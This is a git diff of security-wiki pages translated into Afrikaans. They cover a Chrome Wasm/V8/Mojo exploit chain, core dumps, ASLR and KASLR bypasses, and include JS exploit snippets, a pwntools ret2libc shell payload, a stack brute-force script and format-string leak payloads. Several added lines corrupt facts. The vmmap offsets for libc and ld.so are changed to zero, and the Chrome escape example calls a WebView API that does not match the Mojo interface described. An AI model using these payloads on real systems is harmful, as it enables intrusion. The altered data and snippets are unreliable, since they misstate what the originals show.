+const wasmMod = new WebAssembly.Module(bytes);
+const wasmInst = new WebAssembly.Instance(wasmMod);
+const f = wasmInst.exports.f;
+
+for (let i = 0; i < 1e5; ++i) f({}); // warm-up for JIT
+
+// primitives
+let victim = {m: 13.37};
+let fake = arbitrary_data_backed_typedarray;
+let addrVict = addrOf(victim);
+```
+Uitkoms: **arbitrary read/write binne V8**.
+
+---
+
+## 3. Stage 2 – Escaping the V8 Sandbox (issue 379140430)
+
+Wanneer ’n Wasm-funksie tier-up-gecompileer word, word ’n **JS ↔ Wasm-wrapper** gegenereer. ’n **signature-mismatch-bug** veroorsaak dat die wrapper verby die einde van ’n trusted **`Tuple2`**-objek skryf wanneer die Wasm-funksie hergeoptimaliseer word *terwyl dit steeds op die stack is*.[[1]](#references)
+
+Deur die 2 × 64-bit-velde van die `Tuple2`-objek te oorskryf, word **read/write op enige adres binne die Renderer process** verkry, wat die V8-sandbox effektief omseil.[[1]](#references)
+
+Belangrike stappe in die exploit:
+1. Kry die funksie in ’n **Tier-Up**-toestand deur tussen turbofan- en baseline-code af te wissel.
+2. Trigger tier-up terwyl ’n verwysing op die stack gehou word (`Function.prototype.apply`).
+3. Gebruik Stage-1 AAR/AAW om die aangrensende `Tuple2` te vind en te korrupteer.
+
+Wrapper-identifikasie:
+```js
+function wrapperGen(arg) {
+return f(arg);
+}
+%WasmTierUpFunction(f); // force tier-up (internals-only flag)
+wrapperGen(0x1337n);
+```
+Na corruption beskik ons oor ’n **renderer R/W primitive** met volledige funksionaliteit.
+
+---
+
+## 4. Stage 3 – Renderer → OS Sandbox Escape (CVE-2024-11114)
+
+Die **Mojo** IPC-interface `blink.mojom.DragService.startDragging()` kan vanaf die Renderer met *gedeeltelik vertroude* parameters geroep word. Deur ’n `DragData`-struktuur te skep wat na ’n **arbitrêre lêerpad** wys, oortuig die renderer die browser om ’n *native* drag-and-drop **buite die renderer sandbox** uit te voer.[[1]](#references)
+
+Deur dit te misbruik, kan ons programmaties ’n kwaadwillige EXE (wat voorheen in ’n world-writable-ligging geplaas is) na die Desktop “sleep”, waar Windows sekere lêertipes outomaties uitvoer sodra dit laat val word.
+
+Voorbeeld (vereenvoudig):
+```js
+const payloadPath = "C:\\Users\\Public\\explorer.exe";
+
+chrome.webview.postMessage({
+type: "DragStart",
+data: {
+title: "MyFile",
+file_path: payloadPath,
+mime_type: "application/x-msdownload"
+}
+});
+```
+Geen verdere memory corruption is nodig nie – die **logic flaw** gee ons arbitrary file execution met die gebruiker se privileges.
+
+---
+
+## 5. Volledige kettingvloei
+
+1. **Gebruiker besoek** ’n kwaadwillige webblad.
+2. **Stage 1**: Wasm-module misbruik CVE-2025-0291 → V8 heap AAR/AAW.
+3. **Stage 2**: Wrapper mismatch beskadig `Tuple2` → ontsnap uit die V8 sandbox.
+4. **Stage 3**: `startDragging()` IPC → ontsnap uit die OS sandbox en voer payload uit.
+
+Resultaat: **Remote Code Execution (RCE)** op die host (Chrome 130, Windows/Linux/macOS).
+
+---
+
+## 6. Laboratorium- en ontfoutingsopstelling
+```bash
+# Spin-up local HTTP server w/ PoCs
+npm i -g http-server
+git clone https://github.com/Petitoto/chromium-exploit-dev
+cd chromium-exploit-dev
+http-server -p 8000 -c -1
+
+# Windows kernel debugging
+"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
+```
+Nuttige vlae wanneer 'n *development*-build van Chrome geloods word:
+```bash
+chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
+```
+## 7. Renderer → kernel escape-hulpbron
+
+Wanneer 'n renderer exploit 'n kernel pivot benodig wat binne die seccomp-profiel bly, bied die misbruik van AF_UNIX `MSG_OOB`-sockets wat steeds binne die sandbox bereikbaar is, 'n deterministiese pad. Raadpleeg die Linux kernel-exploitation-gevallestudie hieronder vir die SKB UAF → kernel RCE-ketting:
+
+{{#ref}}
+linux-kernel-exploitation/af-unix-msg-oob-uaf-skb-primitives.md
+{{#endref}}
+
+---
+
+## Belangrike punte
+
+* **WebAssembly JIT bugs** bly 'n betroubare toegangspunt – die tipe-stelsel is steeds jonk.
+* Die verkryging van 'n tweede memory-corruption bug binne V8 (bv. wrapper mismatch) vereenvoudig **V8-sandbox escape** aansienlik.
+* Logika-vlak swakhede in geprivilegieerde Mojo IPC-interfaces is dikwels voldoende vir 'n **final sandbox escape** – let op *non-memory* bugs.
+
+
+
+## Verwysings
+
+- [1] [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
+- [2] [Chromium security architecture](https://chromium.org/developers/design-documents/security)
+
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/README.md
index 47681ba719e..1c0b6b9061e 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/README.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/README.md
@@ -1,35 +1,36 @@
-# Common Binary Exploitation Protections & Bypasses
+# Algemene Binary Exploitation-beskermings en Bypasses
{{#include ../../banners/hacktricks-training.md}}
-## Enable Core files
+Hierdie afdeling groepeer algemene binary-hardening-meganismes en exploitation-workflows. Core dumps is veral nuttig tydens die ontwikkeling en debugging van 'n bypass.
-**Core files** are a type of file generated by an operating system when a process crashes. These files capture the memory image of the crashed process at the time of its termination, including the process's memory, registers, and program counter state, among other details. This snapshot can be extremely valuable for debugging and understanding why the crash occurred.
+## Aktiveer core dumps
-### **Enabling Core Dump Generation**
+'n Core dump teken geselekteerde dele van 'n process se memory en execution state aan wanneer die process abnormaal beëindig word. Dit is nuttig om 'n crash te reproduseer en registers, mappings en die call stack te inspekteer, maar dit kan ook secrets uit process memory bevat.[[1]](#references)
-By default, many systems limit the size of core files to 0 (i.e., they do not generate core files) to save disk space. To enable the generation of core files, you can use the **`ulimit`** command (in bash or similar shells) or configure system-wide settings.
-
-- **Using ulimit**: The command `ulimit -c unlimited` allows the current shell session to create unlimited-sized core files. This is useful for debugging sessions but is not persistent across reboots or new sessions.
+### Aktiveer core-dump-generering
+Die shell se sagte `RLIMIT_CORE`-waarde beheer die grootste core file wat sy child processes mag skep. Stel dit op `unlimited` vir die huidige shell en commands wat daaruit begin word:[[1]](#references)[[2]](#references)
```bash
ulimit -c unlimited
```
-
-- **Persistent Configuration**: For a more permanent solution, you can edit the `/etc/security/limits.conf` file to include a line like `* soft core unlimited`, which allows all users to generate unlimited size core files without having to set ulimit manually in their sessions.
-
-```markdown
-- soft core unlimited
+Vir PAM-managed login sessions is die ooreenstemmende `/etc/security/limits.conf`-inskrywing:
+```text
+* soft core unlimited
```
+Hierdie instelling is nie noodwendig van toepassing op services wat deur `systemd` begin word nie; service-limiete en die kernel se `core_pattern` kan dumps herlei of onderdruk. Kontroleer `ulimit -c`, `/proc/sys/kernel/core_pattern` en die toepaslike service-konfigurasie voordat jy aanvaar dat ’n lêer genaamd `core` sal verskyn.[[1]](#references)
-### **Analyzing Core Files with GDB**
-
-To analyze a core file, you can use debugging tools like GDB (the GNU Debugger). Assuming you have an executable that produced a core dump and the core file is named `core_file`, you can start the analysis with:
+### Ontleed ’n core dump met GDB
+Gee beide die presiese executable en sy core dump aan GDB:[[3]](#references)
```bash
gdb /path/to/executable /path/to/core_file
```
+Nuttige eerste opdragte sluit `info registers`, `info proc mappings`, `bt` en `x/i $pc` in. Gebruik dieselfde uitvoerbare lêer- en shared-library-weergawes wat die dump vervaardig het sodat adresse en simbole korrek opgelos word.
-This command loads the executable and the core file into GDB, allowing you to inspect the state of the program at the time of the crash. You can use GDB commands to explore the stack, examine variables, and understand the cause of the crash.
+## References
+- [1] [Linux `core(5)`-handleidingblad](https://man7.org/linux/man-pages/man5/core.5.html)
+- [2] [GNU Bash-handleiding - `ulimit`](https://www.gnu.org/software/bash/manual/html_node/Bourne-Shell-Builtins.html#index-ulimit)
+- [3] [GDB-handleiding - Lêers](https://sourceware.org/gdb/current/onlinedocs/gdb.html/Files.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md
index e33c7a3be86..5a2abfb93c9 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md
@@ -2,110 +2,96 @@
{{#include ../../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
-**Address Space Layout Randomization (ASLR)** is a security technique used in operating systems to **randomize the memory addresses** used by system and application processes. By doing so, it makes it significantly harder for an attacker to predict the location of specific processes and data, such as the stack, heap, and libraries, thereby mitigating certain types of exploits, particularly buffer overflows.
+**Address Space Layout Randomization (ASLR)** is ’n sekuriteitstegniek wat in bedryfstelsels gebruik word om die **geheueadresse te randomiseer** wat deur stelsel- en toepassingsprosesse gebruik word. Deur dit te doen, maak dit dit aansienlik moeiliker vir ’n aanvaller om die ligging van spesifieke prosesse en data, soos die stack, heap en biblioteke, te voorspel, en versag dit sodoende sekere tipes exploits, veral buffer overflows.
-### **Checking ASLR Status**
+### **Kontroleer ASLR-status**
-To **check** the ASLR status on a Linux system, you can read the value from the **`/proc/sys/kernel/randomize_va_space`** file. The value stored in this file determines the type of ASLR being applied:
+Om die ASLR-status op ’n Linux-stelsel te **kontroleer**, kan jy die waarde uit die **`/proc/sys/kernel/randomize_va_space`**-lêer lees. Die waarde wat in hierdie lêer gestoor word, bepaal die tipe ASLR wat toegepas word:
-- **0**: No randomization. Everything is static.
-- **1**: Conservative randomization. Shared libraries, stack, mmap(), VDSO page are randomized.
-- **2**: Full randomization. In addition to elements randomized by conservative randomization, memory managed through `brk()` is randomized.
-
-You can check the ASLR status with the following command:
+- **0**: Geen randomisering nie. Alles is staties.
+- **1**: Konserwatiewe randomisering. Gedeelde biblioteke, stack, mmap() en VDSO page word gerandomiseer.
+- **2**: Volledige randomisering. Benewens die elemente wat deur konserwatiewe randomisering gerandomiseer word, word geheue wat deur `brk()` bestuur word, ook gerandomiseer.
+Jy kan die ASLR-status met die volgende command kontroleer:
```bash
cat /proc/sys/kernel/randomize_va_space
```
+### **Deaktivering van ASLR**
-### **Disabling ASLR**
-
-To **disable** ASLR, you set the value of `/proc/sys/kernel/randomize_va_space` to **0**. Disabling ASLR is generally not recommended outside of testing or debugging scenarios. Here's how you can disable it:
-
+Om **ASLR** te deaktiveer, stel jy die waarde van `/proc/sys/kernel/randomize_va_space` op **0**. Dit word oor die algemeen nie aanbeveel om ASLR buite toets- of ontfoutingscenario's te deaktiveer nie. Hier is hoe jy dit kan deaktiveer:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
-
-You can also disable ASLR for an execution with:
-
+Jy kan ASLR ook vir ’n uitvoering deaktiveer met:
```bash
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
```
+### **Aktivering van ASLR**
-### **Enabling ASLR**
-
-To **enable** ASLR, you can write a value of **2** to the `/proc/sys/kernel/randomize_va_space` file. This typically requires root privileges. Enabling full randomization can be done with the following command:
-
+Om ASLR te **aktiveer**, kan jy ’n waarde van **2** na die `/proc/sys/kernel/randomize_va_space`-lêer skryf. Dit vereis gewoonlik root-voorregte. Volledige randomisering kan met die volgende opdrag geaktiveer word:
```bash
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```
+### **Volharding na herlaai**
-### **Persistence Across Reboots**
-
-Changes made with the `echo` commands are temporary and will be reset upon reboot. To make the change persistent, you need to edit the `/etc/sysctl.conf` file and add or modify the following line:
-
+Veranderinge wat met die `echo`-opdragte gemaak word, is tydelik en sal tydens herlaai teruggestel word. Om die verandering permanent te maak, moet jy die `/etc/sysctl.conf`-lêer wysig en die volgende reël byvoeg of wysig:
```tsconfig
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
```
-
-After editing `/etc/sysctl.conf`, apply the changes with:
-
+Pas nadat jy `/etc/sysctl.conf` geredigeer het, pas die veranderinge toe met:
```bash
sudo sysctl -p
```
-
-This will ensure that your ASLR settings remain across reboots.
+Dit sal verseker dat jou ASLR-instellings ná herlaaiings behoue bly.
## **Bypasses**
### 32bit brute-forcing
-PaX divides the process address space into **3 groups**:
+PaX verdeel die proses se adresruimte in **3 groepe**:
-- **Code and data** (initialized and uninitialized): `.text`, `.data`, and `.bss` —> **16 bits** of entropy in the `delta_exec` variable. This variable is randomly initialized with each process and added to the initial addresses.
-- **Memory** allocated by `mmap()` and **shared libraries** —> **16 bits**, named `delta_mmap`.
-- **The stack** —> **24 bits**, referred to as `delta_stack`. However, it effectively uses **11 bits** (from the 10th to the 20th byte inclusive), aligned to **16 bytes** —> This results in **524,288 possible real stack addresses**.
+- **Code and data** (initialized and uninitialized): `.text`, `.data`, en `.bss` —> **16 bits** se entropy in die `delta_exec`-veranderlike. Hierdie veranderlike word met elke proses ewekansig geïnisialiseer en by die aanvanklike adresse gevoeg.
+- **Geheue** wat deur `mmap()` en **shared libraries** geallokeer word —> **16 bits**, genaamd `delta_mmap`.
+- **Die stack** —> **24 bits**, waarna verwys word as `delta_stack`. Dit gebruik egter effektief **11 bits** (van die 10de tot die 20ste byte, inklusief), belyn tot **16 bytes** —> Dit lei tot **524,288 moontlike werklike stack-adresse**.
-The previous data is for 32-bit systems and the reduced final entropy makes possible to bypass ASLR by retrying the execution once and again until the exploit completes successfully.
+Die vorige data is vir 32-bit-stelsels, en die verminderde finale entropy maak dit moontlik om ASLR te omseil deur die uitvoering oor en oor te herprobeer totdat die exploit suksesvol voltooi.
-#### Brute-force ideas:
-
-- If you have a big enough overflow to host a **big NOP sled before the shellcode**, you could just brute-force addresses in the stack until the flow **jumps over some part of the NOP sled**.
- - Another option for this in case the overflow is not that big and the exploit can be run locally is possible to **add the NOP sled and shellcode in an environment variable**.
-- If the exploit is local, you can try to brute-force the base address of libc (useful for 32bit systems):
+#### Brute-force-idees:
+- As jy ’n groot genoeg overflow het om ’n **groot NOP sled voor die shellcode** te huisves, kan jy eenvoudig adresse in die stack brute-force totdat die vloei **oor ’n gedeelte van die NOP sled spring**.
+- Nog ’n opsie hiervoor, indien die overflow nie so groot is nie en die exploit plaaslik uitgevoer kan word, is om die **NOP sled en shellcode in ’n environment variable** te plaas.
+- As die exploit plaaslik is, kan jy probeer om die basisadres van libc te brute-force (nuttig vir 32bit-stelsels):
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
-
-- If attacking a remote server, you could try to **brute-force the address of the `libc` function `usleep`**, passing as argument 10 (for example). If at some point the **server takes 10s extra to respond**, you found the address of this function.
+- As jy ’n afgeleë bediener aanval, kan jy probeer om die adres van die `libc`-funksie `usleep` te **brute-force** en 10 as argument deur te gee (byvoorbeeld). As die **bediener op ’n stadium 10 s langer neem om te antwoord**, het jy die adres van hierdie funksie gevind.
> [!TIP]
-> In 64bit systems the entropy is much higher and this shouldn't possible.
+> In 64bit-stelsels is die entropie baie hoër, en dit behoort nie moontlik te wees nie.
### 64 bits stack brute-forcing
-It's possible to occupy a big part of the stack with env variables and then try to abuse the binary hundreds/thousands of times locally to exploit it.\
-The following code shows how it's possible to **just select an address in the stack** and every **few hundreds of executions** that address will contain the **NOP instruction**:
-
+Dit is moontlik om ’n groot deel van die stack met env variables te vul en dan honderde/duisende kere plaaslik te probeer om die binary uit te buit.\
+Die volgende kode wys hoe dit moontlik is om **net ’n adres in die stack te kies**, waarna daardie adres elke **paar honderd uitvoerings** die **NOP-instruksie** sal bevat:
```c
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include
int main() {
- unsigned long long address = 0xffffff1e7e38;
- unsigned int* ptr = (unsigned int*)address;
- unsigned int value = *ptr;
- printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
- return 0;
+unsigned long long address = 0xffffff1e7e38;
+unsigned int* ptr = (unsigned int*)address;
+unsigned int value = *ptr;
+printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
+return 0;
}
```
-
+
+Python brute-force stack NOP-opsporing
```python
import subprocess
import traceback
@@ -117,70 +103,73 @@ shellcode_env_var = nop * n_nops
# Define the environment variables you want to set
env_vars = {
- 'a': shellcode_env_var,
- 'b': shellcode_env_var,
- 'c': shellcode_env_var,
- 'd': shellcode_env_var,
- 'e': shellcode_env_var,
- 'f': shellcode_env_var,
- 'g': shellcode_env_var,
- 'h': shellcode_env_var,
- 'i': shellcode_env_var,
- 'j': shellcode_env_var,
- 'k': shellcode_env_var,
- 'l': shellcode_env_var,
- 'm': shellcode_env_var,
- 'n': shellcode_env_var,
- 'o': shellcode_env_var,
- 'p': shellcode_env_var,
+'a': shellcode_env_var,
+'b': shellcode_env_var,
+'c': shellcode_env_var,
+'d': shellcode_env_var,
+'e': shellcode_env_var,
+'f': shellcode_env_var,
+'g': shellcode_env_var,
+'h': shellcode_env_var,
+'i': shellcode_env_var,
+'j': shellcode_env_var,
+'k': shellcode_env_var,
+'l': shellcode_env_var,
+'m': shellcode_env_var,
+'n': shellcode_env_var,
+'o': shellcode_env_var,
+'p': shellcode_env_var,
}
cont = 0
while True:
- cont += 1
-
- if cont % 10000 == 0:
- break
-
- print(cont, end="\r")
- # Define the path to your binary
- binary_path = './aslr-testing'
-
- try:
- process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
- output = process.communicate()[0]
- if "0xd5" in str(output):
- print(str(cont) + " -> " + output)
- except Exception as e:
- print(e)
- print(traceback.format_exc())
- pass
+cont += 1
+
+if cont % 10000 == 0:
+break
+
+print(cont, end="\r")
+# Define the path to your binary
+binary_path = './aslr-testing'
+
+try:
+process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
+output = process.communicate()[0]
+if "0xd5" in str(output):
+print(str(cont) + " -> " + output)
+except Exception as e:
+print(e)
+print(traceback.format_exc())
+pass
```
+
-### Local Information (`/proc/[pid]/stat`)
+### Plaaslike Inligting (`/proc/[pid]/stat`)
-The file **`/proc/[pid]/stat`** of a process is always readable by everyone and it **contains interesting** information such as:
+Die lêer **`/proc/[pid]/stat`** van 'n proses is altyd deur almal leesbaar en dit **bevat interessante** inligting soos:
-- **startcode** & **endcode**: Addresses above and below with the **TEXT** of the binary
-- **startstack**: The address of the start of the **stack**
-- **start_data** & **end_data**: Addresses above and below where the **BSS** is
-- **kstkesp** & **kstkeip**: Current **ESP** and **EIP** addresses
-- **arg_start** & **arg_end**: Addresses above and below where **cli arguments** are.
-- **env_start** &**env_end**: Addresses above and below where **env variables** are.
+- **startcode** & **endcode**: Adresse bo en onder waar die **TEXT** van die binary is
+- **startstack**: Die adres van die begin van die **stack**
+- **start_data** & **end_data**: Adresse bo en onder waar die **BSS** is
+- **kstkesp** & **kstkeip**: Huidige **ESP**- en **EIP**-adresse
+- **arg_start** & **arg_end**: Adresse bo en onder waar **CLI-argumente** is.
+- **env_start** & **env_end**: Adresse bo en onder waar **env-veranderlikes** is.
-Therefore, if the attacker is in the same computer as the binary being exploited and this binary doesn't expect the overflow from raw arguments, but from a different **input that can be crafted after reading this file**. It's possible for an attacker to **get some addresses from this file and construct offsets from them for the exploit**.
+Daarom, as die aanvaller op dieselfde rekenaar as die binary wat uitgebuit word is, en hierdie binary nie die overflow vanaf rou argumente verwag nie, maar vanaf 'n ander **input wat geskep kan word nadat hierdie lêer gelees is**, is dit moontlik vir 'n aanvaller om **sommige adresse uit hierdie lêer te verkry en offsets daaruit vir die exploit saam te stel**.
> [!TIP]
-> For more info about this file check [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) searching for `/proc/pid/stat`
+> Vir meer inligting oor hierdie lêer, kyk na [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) en soek vir `/proc/pid/stat`
-### Having a leak
+### Wanneer daar 'n leak is
-- **The challenge is giving a leak**
+- **Die challenge gee 'n leak**
-If you are given a leak (easy CTF challenges), you can calculate offsets from it (supposing for example that you know the exact libc version that is used in the system you are exploiting). This example exploit is extract from the [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (check that page for more details):
+As jy 'n leak kry (maklike CTF-challenges), kan jy offsets daaruit bereken (byvoorbeeld met die veronderstelling dat jy die presiese libc-weergawe ken wat gebruik word in die stelsel wat jy uitbuit). Hierdie voorbeeld-exploit is onttrek uit die [**voorbeeld hier**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (kyk na daardie bladsy vir meer besonderhede):[[4]](#references)
+
+Python-exploit met gegewe libc-leak
```python
from pwn import *
@@ -195,20 +184,21 @@ libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
- 'A' * 32,
- libc.sym['system'],
- 0x0, # return address
- next(libc.search(b'/bin/sh'))
+'A' * 32,
+libc.sym['system'],
+0x0, # return address
+next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
```
+
- **ret2plt**
-Abusing a buffer overflow it would be possible to exploit a **ret2plt** to exfiltrate an address of a function from the libc. Check:
+Deur 'n buffer overflow te misbruik, sou dit moontlik wees om 'n **ret2plt** te gebruik om 'n adres van 'n funksie uit die libc te exfiltrate. Kyk:
{{#ref}}
ret2plt.md
@@ -216,8 +206,7 @@ ret2plt.md
- **Format Strings Arbitrary Read**
-Just like in ret2plt, if you have an arbitrary read via a format strings vulnerability it's possible to exfiltrate te address of a **libc function** from the GOT. The following [**example is from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
-
+Net soos met ret2plt, as jy 'n arbitrary read via 'n format strings vulnerability het, is dit moontlik om die adres van 'n **libc function** uit die GOT te exfiltrate. Die volgende [**voorbeeld is hier**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):[[5]](#references)
```python
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
@@ -228,8 +217,8 @@ payload += b'%3$s' # The third parameter points at the start of the
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
```
+Jy kan meer inligting oor Format Strings arbitrary read vind by:
-You can find more info about Format Strings arbitrary read in:
{{#ref}}
../../format-strings/
@@ -237,7 +226,8 @@ You can find more info about Format Strings arbitrary read in:
### Ret2ret & Ret2pop
-Try to bypass ASLR abusing addresses inside the stack:
+Probeer ASLR omseil deur adresse binne die stack te misbruik:
+
{{#ref}}
ret2ret.md
@@ -245,21 +235,23 @@ ret2ret.md
### vsyscall
-The **`vsyscall`** mechanism serves to enhance performance by allowing certain system calls to be executed in user space, although they are fundamentally part of the kernel. The critical advantage of **vsyscalls** lies in their **fixed addresses**, which are not subject to **ASLR** (Address Space Layout Randomization). This fixed nature means that attackers do not require an information leak vulnerability to determine their addresses and use them in an exploit.\
-However, no super interesting gadgets will be find here (although for example it's possible to get a `ret;` equivalent)
+Die **`vsyscall`**-meganisme dien om werkverrigting te verbeter deur toe te laat dat sekere system calls in user space uitgevoer word, alhoewel hulle fundamenteel deel van die kernel is. Die kritieke voordeel van **vsyscalls** lê in hul **fixed addresses**, wat nie aan **ASLR** (Address Space Layout Randomization) onderhewig is nie. Hierdie fixed nature beteken dat aanvallers nie ’n information leak vulnerability benodig om hul adresse te bepaal en in ’n exploit te gebruik nie.\
+Geen besonder interessante gadgets sal egter hier gevind word nie (alhoewel dit byvoorbeeld moontlik is om ’n `ret;`-ekwivalent te kry)
-(The following example and code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))
+(Die volgende voorbeeld en code is [**from this writeup**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation))[[6]](#references)
-For instance, an attacker might use the address `0xffffffffff600800` within an exploit. While attempting to jump directly to a `ret` instruction might lead to instability or crashes after executing a couple of gadgets, jumping to the start of a `syscall` provided by the **vsyscall** section can prove successful. By carefully placing a **ROP** gadget that leads execution to this **vsyscall** address, an attacker can achieve code execution without needing to bypass **ASLR** for this part of the exploit.
+Byvoorbeeld, kan ’n aanvaller die adres `0xffffffffff600800` binne ’n exploit gebruik. Alhoewel ’n poging om direk na ’n `ret` instruction te spring tot onstabiliteit of crashes kan lei nadat ’n paar gadgets uitgevoer is, kan dit suksesvol wees om na die begin van ’n `syscall` te spring wat deur die **vsyscall**-afdeling verskaf word. Deur ’n **ROP**-gadget wat execution na hierdie **vsyscall**-adres lei, versigtig te plaas, kan ’n aanvaller code execution verkry sonder om **ASLR** vir hierdie deel van die exploit te hoef te omseil.
-```
+
+Voorbeeld vmmap/vsyscall en gadget lookup
+```text
ef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
-0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
+0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
@@ -268,7 +260,7 @@ Start End Offset Perm Path
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
-0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
+0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
@@ -282,23 +274,64 @@ gef➤ x/8g 0xffffffffff600000
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
gef➤ x/4i 0xffffffffff600800
- 0xffffffffff600800: mov rax,0x135
- 0xffffffffff600807: syscall
- 0xffffffffff600809: ret
- 0xffffffffff60080a: int3
+0xffffffffff600800: mov rax,0x135
+0xffffffffff600807: syscall
+0xffffffffff600809: ret
+0xffffffffff60080a: int3
gef➤ x/4i 0xffffffffff600800
- 0xffffffffff600800: mov rax,0x135
- 0xffffffffff600807: syscall
- 0xffffffffff600809: ret
- 0xffffffffff60080a: int3
+0xffffffffff600800: mov rax,0x135
+0xffffffffff600807: syscall
+0xffffffffff600809: ret
+0xffffffffff60080a: int3
```
+
### vDSO
-Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized. For more info check:
+Let dus daarop hoe dit moontlik kan wees om **ASLR te bypass deur die vdso te misbruik** indien die kernel met CONFIG_COMPAT_VDSO gekompileer is, aangesien die vdso-adres nie gerandomiseer sal word nie. Vir meer inligting, kyk na:
+
{{#ref}}
../../rop-return-oriented-programing/ret2vdso.md
{{#endref}}
+### KASLR op ARM64 (Android): bypass via vaste lineêre map
+
+Op baie arm64 Android-kernels is die kernel se lineêre map (direct map)-basis konstant tussen boots. Kernel-VAs vir fisiese bladsye word voorspelbaar, wat KASLR breek vir teikens wat via die direct map bereikbaar is.[[1]](#references)
+
+- Vir CONFIG_ARM64_VA_BITS=39 (4 KiB-bladsye, 3-vlak paging):
+- PAGE_OFFSET = 0xffffff8000000000
+- PHYS_OFFSET = memstart_addr (uitgevoerde simbool)
+- Vertaling: `virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)`
+
+**PHYS_OFFSET leak (rooted of met ’n kernel read primitive)**
+- `grep memstart /proc/kallsyms` om `memstart_addr` te vind
+- Lees 8 grepe by daardie adres (LE) met enige kernel read (bv. tracing-BPF helper wat `BPF_FUNC_probe_read_kernel` aanroep)[[3]](#references)
+- Bereken direct-map-VAs: `virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)`
+
+**Uitwerkingsimpak**
+- Geen aparte KASLR leak is nodig indien die teiken in of via die direct map bereikbaar is nie (bv. page tables, kernel objects op fisiese bladsye wat jy kan beïnvloed of waarneem).
+- Vereenvoudig betroubare arbitrary R/W en die teikening van kernel-data op arm64 Android.
+
+**Opsommings van reproduksie**
+1) `grep memstart /proc/kallsyms` -> adres van `memstart_addr`
+2) Kernel read -> dekodeer 8 grepe LE -> `PHYS_OFFSET`
